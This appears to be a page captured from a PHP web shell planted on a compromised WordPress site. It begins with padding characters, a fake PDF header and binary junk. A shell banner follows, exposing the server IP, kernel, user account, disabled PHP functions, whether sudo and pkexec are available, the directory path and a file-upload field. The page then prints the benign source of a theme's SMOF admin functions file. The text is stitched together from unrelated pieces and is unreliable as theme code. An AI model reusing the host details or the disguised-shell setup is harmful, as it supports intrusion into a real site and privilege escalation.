...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/public_html/wp-content/themes/greenture/admin/functions/ |
Upload File : |
<?php
/**
* SMOF Admin
*
* @package WordPress
* @subpackage SMOF
* @since 1.4.0
* @author Syamil MJ
*/
/**
* Head Hook
*
* @since 1.0.0
*/
function of_head() { do_action( 'of_head' ); }
/**
* Add default options upon activation else DB does not exist
*
* @since 1.0.0
*/
function of_option_setup()
{
global $of_options, $options_machine;
$options_machine = new Options_Machine($of_options);
if (!of_get_options())
{
of_save_options($options_machine->Defaults);
}
}
/**
* Change activation message
*
* @since 1.0.0
*/
function optionsframework_admin_message() {
//Tweaked the message on theme activate
?>
<script type="text/javascript">
jQuery(function(){
var message = '<p>This theme comes with an <a href="<?php echo admin_url('themes.php?page=greenture_options'); ?>">options panel</a> to configure settings. This theme also supports widgets, please visit the <a href="<?php echo admin_url('widgets.php'); ?>">widgets settings page</a> to configure them.</p>';
jQuery('.themes-php #message2').html(message);
});
</script>
<?php
}
/**
* Get header classes
*
* @since 1.0.0
*/
function of_get_header_classes_array()
{
global $of_options;
foreach ($of_options as $value)
{
if ($value['type'] == 'heading')
$hooks[] = str_replace( array( 'heading_', '_' ), array( '', '' ), strtolower($value['id']));
}
return $hooks;
}
/**
* Get options from the database and process them with the load filter hook.
*
* @author Jonah Dahlquist
* @since 1.4.0
* @return array
*/
function of_get_options($key = null, $data = null) {
if ($key != null) { // Get one specific value
//$data = get_theme_mod($key, $data);
} else { // Get all values
$data = get_option(OPTIONS);
}
return $data;
}
/**
* Save options to the database after processing them
*
* @param $data Options array to save
* @author Jonah Dahlquist
* @since 1.4.0
* @uses update_option()
* @return void
*/
function of_save_options($data, $key = null) {
global $smof_data;
if (empty($data)) {
return;
}
update_option(OPTIONS, $data);
}
/**
* For use in themes
*
* @since forever
*/
$smof_data = of_get_options();